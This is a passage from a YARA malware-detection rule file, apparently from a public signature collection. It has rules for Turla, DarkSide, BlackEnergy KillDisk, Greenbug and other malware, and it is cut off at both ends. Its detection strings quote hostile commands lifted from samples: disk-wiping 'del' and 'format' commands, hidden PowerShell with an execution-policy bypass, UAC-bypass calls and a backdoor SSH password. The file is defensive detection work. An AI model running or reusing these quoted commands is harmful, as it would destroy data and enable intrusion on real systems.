		$s3 = "012A04DECBC441e49C527B2798F54CA7LOG_NAMED_PIPE_NAME" fullword ascii

	condition:
		( uint16( 0 ) == 0xfacf and filesize < 6000KB and all of them )
}

rule SnakeTurla_Malware_May17_4
{
	meta:
		description = "Detects Snake / Turla Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/QaOh4V"
		date = "2017-05-04"
		hash1 = "d5ea79632a1a67abbf9fb1c2813b899c90a5fb9442966ed4f530e92715087ee2"
		id = "797dedd6-a13e-529f-bae4-4043294672c4"

	strings:
		$s1 = "Install Adobe Flash Player.app/com.adobe.updatePK" fullword ascii

	condition:
		( uint16( 0 ) == 0x4b50 and filesize < 5000KB and all of them )
}

rule SnakeTurla_Installd_SH
{
	meta:
		description = "Detects Snake / Turla Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/QaOh4V"
		date = "2017-05-04"
		id = "65a97c0d-5c69-5e58-9a18-10e5684bc218"

	strings:
		$s1 = "PIDS=`ps cax | grep installdp" ascii
		$s2 = "${SCRIPT_DIR}/installdp ${FILE}" ascii

	condition:
		( uint16( 0 ) == 0x2123 and filesize < 20KB and all of them )
}

rule SnakeTurla_Install_SH
{
	meta:
		description = "Detects Snake / Turla Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/QaOh4V"
		date = "2017-05-04"
		id = "68775c54-46f8-5d44-ba63-6726d2bb8016"

	strings:
		$s1 = "${TARGET_PATH}/installd.sh" ascii
		$s2 = "$TARGET_PATH2/com.adobe.update.plist" ascii

	condition:
		( uint16( 0 ) == 0x2123 and filesize < 20KB and all of them )
}

rule MAL_RANSOM_Darkside_May21_1
{
	meta:
		description = "Detects Darkside Ransomware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://app.any.run/tasks/020c1740-717a-4191-8917-5819aa25f385/"
		date = "2021-05-10"
		hash1 = "ec368752c2cf3b23efbfa5705f9e582fc9d6766435a7b8eea8ef045082c6fbce"
		id = "e5592065-591e-597b-bebb-f20bc306fe52"

	strings:
		$op1 = { 85 c9 75 ed ff 75 10 ff b5 d8 fe ff ff ff b5 dc fe ff ff e8 7d fc ff ff ff 8d cc fe ff ff 8b 8d cc fe ff ff }
		$op2 = { 66 0f 6f 06 66 0f 7f 07 83 c6 10 83 c7 10 49 85 c9 75 ed 5f }
		$op3 = { 6a 00 ff 15 72 0d 41 00 ab 46 81 fe 80 00 00 00 75 2e 6a ff 6a 01 }
		$op4 = { 0f b7 0c 5d 88 0f 41 00 03 4c 24 04 89 4c 24 04 83 e1 3f 0f b7 14 4d 88 0f 41 00 03 54 24 08 89 54 24 08 83 e2 3f }
		$s1 = "http://darksid" ascii
		$s2 = "[ Welcome to DarkSide ]" ascii
		$s3 = ".onion/" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 3 of them or all of ( $op* ) or all of ( $s* )
}

rule MAL_Ransomware_Win_DARKSIDE_v1_1
{
	meta:
		author = "FireEye"
		date = "2021-03-22"
		description = "Detection for early versions of DARKSIDE ransomware samples based on the encryption mode configuration values."
		hash = "1a700f845849e573ab3148daef1a3b0b"
		reference = "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html"
		id = "322a3de5-a7e5-52b9-8648-6019954e92d7"

	strings:
		$consts = { 80 3D [4] 01 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] 00 00 04 00 [1-10] 00 00 00 00 [1-30] 80 3D [4] 02 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] FF FF FF FF [1-10] FF FF FF FF [1-30] 03 00 00 00 [1-10] 03 00 00 00 }

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $consts
}

rule MAL_Dropper_Win_Darkside_1
{
	meta:
		author = "FireEye"
		date_created = "2021-05-11"
		description = "Detection for on the binary that was used as the dropper leading to DARKSIDE."
		reference = "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html"
		id = "910a581c-25a4-5d5e-acdc-6d87cbedd3cf"

	strings:
		$CommonDLLs1 = "KERNEL32.dll" fullword
		$CommonDLLs2 = "USER32.dll" fullword
		$CommonDLLs3 = "ADVAPI32.dll" fullword
		$CommonDLLs4 = "ole32.dll" fullword
		$KeyString1 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 57 69 6E 64 6F 77 73 2E 43 6F 6D 6D 6F 6E 2D 43 6F 6E 74 72 6F 6C 73 22 20 76 65 72 73 69 6F 6E 3D 22 36 2E 30 2E 30 2E 30 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 36 35 39 35 62 36 34 31 34 34 63 63 66 31 64 66 22 }
		$KeyString2 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 56 43 39 30 2E 4D 46 43 22 20 76 65 72 73 69 6F 6E 3D 22 39 2E 30 2E 32 31 30 32 32 2E 38 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 31 66 63 38 62 33 62 39 61 31 65 31 38 65 33 62 22 }
		$Slashes = { 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C }

	condition:
		filesize < 2MB and filesize > 500KB and uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and ( all of ( $CommonDLLs* ) ) and ( all of ( $KeyString* ) ) and $Slashes
}

rule MAL_Backdoor_Win_C3_1
{
	meta:
		author = "FireEye"
		date_created = "2021-05-11"
		description = "Detection to identify the Custom Command and Control (C3) binaries."
		md5 = "7cdac4b82a7573ae825e5edb48f80be5"
		reference = "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html"
		id = "60eb022e-6f4e-5c7d-9ddf-b458a593071e"

	strings:
		$dropboxAPI = "Dropbox-API-Arg"
		$knownDLLs1 = "WINHTTP.dll" fullword
		$knownDLLs2 = "SHLWAPI.dll" fullword
		$knownDLLs3 = "NETAPI32.dll" fullword
		$knownDLLs4 = "ODBC32.dll" fullword
		$tokenString1 = { 5B 78 5D 20 65 72 72 6F 72 20 73 65 74 74 69 6E 67 20 74 6F 6B 65 6E }
		$tokenString2 = { 5B 78 5D 20 65 72 72 6F 72 20 63 72 65 61 74 69 6E 67 20 54 6F 6B 65 6E }
		$tokenString3 = { 5B 78 5D 20 65 72 72 6F 72 20 64 75 70 6C 69 63 61 74 69 6E 67 20 74 6F 6B 65 6E }

	condition:
		filesize < 5MB and uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and ( ( ( all of ( $knownDLLs* ) ) and ( $dropboxAPI or ( 1 of ( $tokenString* ) ) ) ) or ( all of ( $tokenString* ) ) )
}

rule APT_MAL_DTRACK_Oct19_1
{
	meta:
		description = "Detects DTRACK malware"
		author = "Florian Roth (Nextron Systems)"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		reference = "https://twitter.com/a_tweeter_user/status/1188811977851887616?s=21"
		date = "2019-10-28"
		hash1 = "c5c1ca4382f397481174914b1931e851a9c61f029e6b3eb8a65c9e92ddf7aa4c"
		hash2 = "a0664ac662802905329ec6ab3b3ae843f191e6555b707f305f8f5a0599ca3f68"
		hash3 = "93a01fbbdd63943c151679d037d32b1d82a55d66c6cb93c40ff63f2b770e5ca9"
		hash4 = "3cc9d9a12f3b884582e5c4daf7d83c4a510172a836de90b87439388e3cde3682"
		hash5 = "bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364"
		hash6 = "58fef66f346fe3ed320e22640ab997055e54c8704fc272392d71e367e2d1c2bb"
		hash7 = "9d9571b93218f9a635cfeb67b3b31e211be062fd0593c0756eb06a1f58e187fd"
		id = "802135bd-234d-574d-b111-fcc9eaa000f8"

	strings:
		$xc1 = { 25 73 2A 2E 2A 00 00 00 5C 00 00 00 25 73 7E 00
               5C 00 00 00 77 62 00 00 64 61 74 00 64 6B 77 65
               72 6F 33 38 6F 65 72 41 5E 74 40 23 00 00 00 00
               63 3A 5C 00 25 73 5C 25 63 2E 74 6D 70 }
		$sx1 = "%02d.%02d.%04d - %02d:%02d:%02d:%03d : " fullword ascii
		$sx2 = "%s\\%c.tmp" fullword ascii
		$sx3 = "dkwero38oerA" fullword ascii
		$sx4 = "awz2qr21yfbj" fullword ascii
		$s1 = "Execute_%s.log" ascii
		$s2 = "%s\\%s\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" fullword ascii
		$s3 = "CCS_Mozilla/5.0" fullword ascii
		$s4 = "\\C$\\Windows\\Temp\\MpLogs\\" ascii
		$s5 = "127.0.0.1 >NUL & echo EEEE > \"%s\"" fullword ascii
		$s6 = "[+] DownloadCommand" fullword ascii
		$s7 = "DC-Error: Too long cmd length" fullword ascii
		$s8 = "%s\\~%d.tmp" fullword ascii
		$s9 = "%02X:%02X:%02X:%02X:%02X:%02X" ascii fullword
		$op1 = { 0f b6 8d a3 fc ff ff 85 c9 74 09 8b 55 f4 83 c2 }
		$op2 = { 6a 00 8d 85 28 fc ff ff 50 6a 04 8d 4d f8 51 8b }
		$op3 = { 8b 85 c8 fd ff ff 03 85 a4 fc ff ff 89 85 b4 fc }

	condition:
		$xc1 or 2 of ( $sx* ) or 4 of them or ( uint16( 0 ) == 0x5a4d and filesize <= 3000KB and 2 of them )
}

rule SUSP_NullSoftInst_Combo_Oct20_1
{
	meta:
		description = "Detects suspicious NullSoft Installer combination with common Copyright strings"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/malwrhunterteam/status/1313023627177193472"
		date = "2020-10-06"
		score = 65
		hash1 = "686b5240e5e503528cc5ac8d764883413a260716dd290f114a60af873ee6a65f"
		hash2 = "93951379e57e4f159bb62fd7dd563d1ac2f3f23c80ba89f2da2e395b8a647dcf"
		hash3 = "a9ca1d6a981ccc8d8b144f337c259891a67eb6b85ee41b03699baacf4aae9a78"
		id = "380f30a6-df6b-50c6-bb2d-b8785564bbac"

	strings:
		$a1 = "NullsoftInst" ascii
		$b1 = "Microsoft Corporation" wide fullword
		$b2 = "Apache Software Foundation" ascii wide fullword
		$b3 = "Simon Tatham" wide fullword
		$fp1 = "nsisinstall" fullword ascii
		$fp2 = "\\REGISTRY\\MACHINE\\Software\\" wide
		$fp3 = "Apache Tomcat" wide fullword
		$fp4 = "Bot Framework Emulator" wide fullword
		$fp5 = "Firefox Helper" wide fullword
		$fp6 = "Paint.NET Setup" wide fullword
		$fp7 = "Microsoft .NET Services Installation Utility" wide fullword
		$fp8 = "License: MPL 2" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and $a1 and 1 of ( $b* ) and not 1 of ( $fp* )
}

rule MAL_DOC_ZLoader_Oct20_1
{
	meta:
		description = "Detects weaponized ZLoader documents"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/JohnLaTwC/status/1314602421977452544"
		date = "2020-10-10"
		hash1 = "668ca7ede54664360b0a44d5e19e76beb92c19659a8dec0e7085d05528df42b5"
		hash2 = "a2ffabbb1b5a124f462a51fee41221081345ec084d768ffe1b1ef72d555eb0a0"
		hash3 = "d268af19db475893a3d19f76be30bb063ab2ca188d1b5a70e51d260105b201da"
		id = "34145746-9733-5dd9-9dcf-99e3a3ceee4f"

	strings:
		$sc1 = { 78 4E FC 04 AB 6B 17 E2 33 E3 49 62 50 69 BB 60
               31 00 1E 00 02 4B BA E2 D8 E3 92 22 1E 69 96 20
               98 }
		$sc2 = { 6B 9E E2 36 E3 69 62 72 69 3A 60 55 6E }
		$sc3 = { 3E 69 76 60 59 6E 34 FB 87 6B 75 }

	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 40KB and filesize > 30KB and all of them
}

rule apt_backspace
{
	meta:
		description = "Detects APT backspace"
		author = "Bit Byte Bitten"
		date = "2015-05-14"
		hash = "6cbfeb7526de65eb2e3c848acac05da1e885636d17c1c45c62ad37e44cd84f99"
		id = "3da3337d-b6d3-5661-b43e-535e06817303"

	strings:
		$s1 = "!! Use Splice Socket !!"
		$s2 = "User-Agent: SJZJ (compatible; MSIE 6.0; Win32)"
		$s3 = "g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d"

	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule BlackEnergy_BE_2
{
	meta:
		description = "Detects BlackEnergy 2 Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/DThzLz"
		date = "2015/02/19"
		hash = "983cfcf3aaaeff1ad82eb70f77088ad6ccedee77"
		id = "c93991b9-77e8-5a73-80ef-e21df770c3a5"

	strings:
		$s0 = "<description> Windows system utility service  </description>" fullword ascii
		$s1 = "WindowsSysUtility - Unicode" fullword wide
		$s2 = "msiexec.exe" fullword wide
		$s3 = "WinHelpW" fullword ascii
		$s4 = "ReadProcessMemory" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 250KB and all of ( $s* )
}

rule BlackEnergy_VBS_Agent
{
	meta:
		description = "Detects VBS Agent from BlackEnergy Report - file Dropbearrun.vbs"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
		date = "2016-01-03"
		hash = "b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f"
		id = "0876f752-d476-5706-918e-edfda9bd7928"

	strings:
		$s0 = "WshShell.Run \"dropbear.exe -r rsa -d dss -a -p 6789\", 0, false" fullword ascii
		$s1 = "WshShell.CurrentDirectory = \"C:\\WINDOWS\\TEMP\\Dropbear\\\"" fullword ascii
		$s2 = "Set WshShell = CreateObject(\"WScript.Shell\")" fullword ascii

	condition:
		filesize < 1KB and 2 of them
}

rule DropBear_SSH_Server
{
	meta:
		description = "Detects DropBear SSH Server (not a threat but used to maintain access)"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
		date = "2016-01-03"
		score = 50
		hash = "0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd"
		id = "22595d8b-b7ea-570e-ad17-d5bcec613abf"

	strings:
		$s1 = "Dropbear server v%s https://matt.ucc.asn.au/dropbear/dropbear.html" fullword ascii
		$s2 = "Badly formatted command= authorized_keys option" fullword ascii
		$s3 = "This Dropbear program does not support '%s' %s algorithm" fullword ascii
		$s4 = "/etc/dropbear/dropbear_dss_host_key" fullword ascii
		$s5 = "/etc/dropbear/dropbear_rsa_host_key" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and 2 of them
}

rule BlackEnergy_BackdoorPass_DropBear_SSH
{
	meta:
		description = "Detects the password of the backdoored DropBear SSH Server - BlackEnergy"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
		date = "2016-01-03"
		hash = "0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd"
		id = "60db00dd-72b3-5a28-90de-2a397b1e007b"

	strings:
		$s1 = "passDs5Bu9Te7" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and $s1
}

rule BlackEnergy_KillDisk_1
{
	meta:
		description = "Detects KillDisk malware from BlackEnergy"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
		date = "2016-01-03"
		score = 80
		super_rule = 1
		hash1 = "11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80"
		hash2 = "5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6"
		hash3 = "c7536ab90621311b526aefd56003ef8e1166168f038307ae960346ce8f75203d"
		hash4 = "f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95"
		id = "304e7aa3-48d3-5015-aaf1-6b1df2441b75"

	strings:
		$s0 = "system32\\cmd.exe" fullword ascii
		$s1 = "system32\\icacls.exe" fullword wide
		$s2 = "/c del /F /S /Q %c:\\*.*" fullword ascii
		$s3 = "shutdown /r /t %d" fullword ascii
		$s4 = "/C /Q /grant " fullword wide
		$s5 = "%08X.tmp" fullword ascii
		$s6 = "/c format %c: /Y /X /FS:NTFS" fullword ascii
		$s7 = "/c format %c: /Y /Q" fullword ascii
		$s8 = "taskhost.exe" fullword wide
		$s9 = "shutdown.exe" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and 8 of them
}

rule BlackEnergy_KillDisk_2
{
	meta:
		description = "Detects KillDisk malware from BlackEnergy"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
		date = "2016-01-03"
		modified = "2023-01-06"
		score = 80
		super_rule = 1
		hash1 = "11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80"
		hash2 = "5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6"
		hash3 = "f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95"
		id = "f0304e87-a278-5963-9af0-935c088c00ec"

	strings:
		$s0 = "%c:\\~tmp%08X.tmp" fullword ascii
		$s1 = "%s%08X.tmp" fullword ascii
		$s2 = ".exe.sys.drv.doc.docx.xls.xlsx.mdb.ppt.pptx.xml.jpg.jpeg.ini.inf.ttf" wide
		$s3 = "%ls_%ls_%ls_%d.~tmp" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and 3 of them
}

rule BlackEnergy_Driver_USBMDM
{
	meta:
		description = "Black Energy Driver"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/"
		date = "2016-01-04"
		super_rule = 1
		hash1 = "7874a10e551377d50264da5906dc07ec31b173dee18867f88ea556ad70d8f094"
		hash2 = "b73777469f939c331cbc1c9ad703f973d55851f3ad09282ab5b3546befa5b54a"
		hash3 = "edb16d3ccd50fc8f0f77d0875bf50a629fa38e5ba1b8eeefd54468df97eba281"
		hash4 = "ac13b819379855af80ea3499e7fb645f1c96a4a6709792613917df4276c583fc"
		hash5 = "7a393b3eadfc8938cbecf84ca630e56e37d8b3d23e084a12ea5a7955642db291"
		hash6 = "405013e66b6f137f915738e5623228f36c74e362873310c5f2634ca2fda6fbc5"
		hash7 = "244dd8018177ea5a92c70a7be94334fa457c1aab8a1c1ea51580d7da500c3ad5"
		hash8 = "edcd1722fdc2c924382903b7e4580f9b77603110e497393c9947d45d311234bf"
		id = "d5e8faf0-38cb-5193-b859-83ea09278011"

	strings:
		$s1 = "USB MDM Driver" fullword wide
		$s2 = "KdDebuggerNotPresent" fullword ascii
		$s3 = "KdDebuggerEnabled" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 180KB and all of them
}

rule BlackEnergy_Driver_AMDIDE
{
	meta:
		description = "Black Energy Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/"
		date = "2016-01-04"
		super_rule = 1
		hash1 = "32d3121135a835c3347b553b70f3c4c68eef711af02c161f007a9fbaffe7e614"
		hash2 = "3432db9cb1fb9daa2f2ac554a0a006be96040d2a7776a072a8db051d064a8be2"
		hash3 = "90ba78b6710462c2d97815e8745679942b3b296135490f0095bdc0cd97a34d9c"
		hash4 = "97be6b2cec90f655ef11ed9feef5b9ef057fd8db7dd11712ddb3702ed7c7bda1"
		hash5 = "5111de45210751c8e40441f16760bf59856ba798ba99e3c9532a104752bf7bcc"
		hash6 = "cbc4b0aaa30b967a6e29df452c5d7c2a16577cede54d6d705ca1f095bd6d4988"
		hash7 = "1ce0dfe1a6663756a32c69f7494ad082d293d32fe656d7908fb445283ab5fa68"
		id = "e5b57c33-87f7-5411-995c-384e0afa0348"

	strings:
		$s1 = " AMD IDE driver" fullword wide
		$s2 = "SessionEnv" fullword wide
		$s3 = "\\DosDevices\\{C9059FFF-1C49-4445-83E8-" wide
		$s4 = "\\Device\\{C9059FFF-1C49-4445-83E8-" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 150KB and all of them
}

import "pe"

rule MAL_Ransomware_Wadhrama
{
	meta:
		description = "Detects Wadhrama Ransomware via Imphash"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2019-04-07"
		hash1 = "557c68e38dce7ea10622763c10a1b9f853c236b3291cd4f9b32723e8714e5576"
		id = "f7de40e9-fe22-5f14-abc6-f6611a4382ac"

	condition:
		uint16( 0 ) == 0x5a4d and pe.imphash ( ) == "f86dec4a80961955a89e7ed62046cc0e"
}

rule Greenbug_Malware_1
{
	meta:
		description = "Detects Malware from Greenbug Incident"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/urp4CD"
		date = "2017-01-25"
		hash1 = "dab460a0b73e79299fbff2fa301420c1d97a36da7426acc0e903c70495db2b76"
		id = "3375a392-4896-572c-9688-00f01ea86ca7"

	strings:
		$s1 = "vailablez" fullword ascii
		$s2 = "Sfouglr" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them )
}

rule Greenbug_Malware_2
{
	meta:
		description = "Detects Backdoor from Greenbug Incident"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/urp4CD"
		date = "2017-01-25"
		hash1 = "6b28a43eda5b6f828a65574e3f08a6d00e0acf84cbb94aac5cec5cd448a4649d"
		hash2 = "21f5e60e9df6642dbbceca623ad59ad1778ea506b7932d75ea8db02230ce3685"
		hash3 = "319a001d09ee9d754e8789116bbb21a3c624c999dae9cf83fde90a3fbe67ee6c"
		id = "e5d5ddae-cf6d-579f-9a67-9406838b5e0b"

	strings:
		$x1 = "|||Command executed successfully" fullword ascii
		$x2 = "\\Release\\Bot Fresh.pdb" ascii
		$x3 = "C:\\ddd\\a1.txt" fullword wide
		$x4 = "Bots\\Bot5\\x64\\Release" ascii
		$x5 = "Bot5\\Release\\Ism.pdb" ascii
		$x6 = "Bot\\Release\\Ism.pdb" ascii
		$x7 = "\\Bot Fresh\\Release\\Bot" ascii
		$s1 = "/Home/SaveFile?commandId=CmdResult=" fullword wide
		$s2 = "raB3G:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday" fullword ascii
		$s3 = "Set-Cookie:\\b*{.+?}\\n" fullword wide
		$s4 = "SELECT * FROM AntiVirusProduct" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( 1 of ( $x* ) or 2 of them ) ) or ( 3 of them )
}

rule Greenbug_Malware_3
{
	meta:
		description = "Detects Backdoor from Greenbug Incident"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/urp4CD"
		date = "2017-01-25"
		super_rule = 1
		hash1 = "44bdf5266b45185b6824898664fd0c0f2039cdcb48b390f150e71345cd867c49"
		hash2 = "7f16824e7ad9ee1ad2debca2a22413cde08f02ee9f0d08d64eb4cb318538be9c"
		id = "68142bcd-4bd0-5c80-97fc-38811565e21c"

	strings:
		$x1 = "F:\\Projects\\Bot\\Bot\\Release\\Ism.pdb" fullword ascii
		$x2 = "C:\\ddd\\wer2.txt" fullword wide
		$x3 = "\\Microsoft\\Windows\\tmp43hh11.txt" wide

	condition:
		1 of them
}

rule Greenbug_Malware_4
{
	meta:
		description = "Detects ISMDoor Backdoor"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/urp4CD"
		date = "2017-01-25"
		super_rule = 1
		hash1 = "308a646f57c8be78e6a63ffea551a84b0ae877b23f28a660920c9ba82d57748f"
		hash2 = "82beaef407f15f3c5b2013cb25901c9fab27b086cadd35149794a25dce8abcb9"
		id = "d45dea36-6051-5531-afd2-abf27cd06a12"

	strings:
		$s1 = "powershell.exe -nologo -windowstyle hidden -c \"Set-ExecutionPolicy -scope currentuser" fullword ascii
		$s2 = "powershell.exe -c \"Set-ExecutionPolicy -scope currentuser -ExecutionPolicy unrestricted -f; . \"" fullword ascii
		$s3 = "c:\\windows\\temp\\tmp8873" fullword ascii
		$s4 = "taskkill /im winit.exe /f" fullword ascii
		$s5 = "invoke-psuacme"
		$s6 = "-method oobe -payload \"\"" fullword ascii
		$s7 = "C:\\ProgramData\\stat2.dat" fullword wide
		$s8 = "Invoke-bypassuac" fullword ascii
		$s9 = "Start Keylog Done" fullword wide
		$s10 = "Microsoft\\Windows\\WinIt.exe" fullword ascii
		$s11 = "Microsoft\\Windows\\Tmp9932u1.bat\"" fullword ascii
		$s12 = "Microsoft\\Windows\\tmp43hh11.txt" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and 1 of them ) or ( 3 of them )
}

rule Greenbug_Malware_5
{
	meta:
		description = "Auto-generated rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/urp4CD"
		date = "2017-01-25"
		modified = "2023-01-27"
		super_rule = 1
		hash1 = "308a646f57c8be78e6a63ffea551a84b0ae877b23f28a660920c9ba82d57748f"
		hash2 = "44bdf5266b45185b6824898664fd0c0f2039cdcb48b390f150e71345cd867c49"
		hash3 = "7f16824e7ad9ee1ad2debca2a22413cde08f02ee9f0d08d64eb4cb318538be9c"
		hash4 = "82beaef407f15f3c5b2013cb25901c9fab27b086cadd35149794a25dce8abcb9"
		id = "12362711-f466-5f9e-9227-1cf84aec93e5"

	strings:
		$x1 = "cmd /u /c WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter" fullword ascii
		$x2 = "cmd /a /c net user administrator /domain >>" fullword ascii
		$x3 = "cmd /a /c netstat -ant >>\"%localappdata%\\Microsoft\\" ascii
		$o1 = "========================== (Net User) ==========================" ascii fullword

	condition:
		filesize < 2000KB and ( ( uint16( 0 ) == 0x5a4d and 1 of them ) or $o1 )
}

import "pe"

rule Greenbug_Malware_Nov17_1
{
	meta:
		description = "Detects Greenbug Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.clearskysec.com/greenbug/"
		date = "2017-11-26"
		hash1 = "6e55e161dc9ace3076640a36ef4a8819bb85c6d5e88d8e852088478f79cf3b7c"
		hash2 = "a9f1375da973b229eb649dc3c07484ae7513032b79665efe78c0e55a6e716821"
		id = "50816c09-5f38-5e05-9915-b96f00ee4b88"

	strings:
		$x1 = "AgentV2.exe  -c  SampleDomain.com" fullword ascii
		$x2 = ".ntpupdateserver.com" fullword ascii
		$x3 = "Content-Disposition: form-data; name=\"file\"; filename=\"a.a\"" fullword ascii
		$x4 = "a67d0db885a3432576548a2a03707334" fullword ascii
		$x5 = "a67d0db8a2a173347654432503702aa3" fullword ascii
		$x6 = "!!! can not create output file !!!" fullword ascii
		$s1 = "\\runlog*" ascii
		$s2 = "can not specify username!!" fullword ascii
		$s3 = "Agent can not be configured" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and ( pe.imphash ( ) == "58ba44f7ff5436a603fec3df97d815ea" or pe.imphash ( ) == "538805ecd776b9a42e71aebf94fde1b1" or 1 of ( $x* ) or 3 of them )
}

rule MAL_RANSOM_ContiCrypter
{
	meta:
		author = "James Quinn, Binary Defense"
		description = "Signature for a crypter associated with Conti"
		date = "2021-03-17"
		tlp = "White"
		id = "f2a00655-41a2-5614-9c29-3629c93c0e95"

	strings:
